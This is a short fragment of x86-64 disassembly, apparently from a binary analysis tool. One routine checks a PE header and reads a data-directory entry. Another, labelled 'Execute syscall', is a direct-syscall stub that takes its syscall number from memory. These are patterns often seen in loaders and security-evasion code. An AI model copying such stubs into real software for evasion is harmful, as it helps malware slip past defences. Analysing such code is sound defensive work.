mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x140001962
xor eax, eax
jmp 0x14000198f
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x28]
mov qword [rcx], rax
mov eax, 1
add rsp, 0x18
ret

Function at 0x140002821
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x140004570]
syscall
ret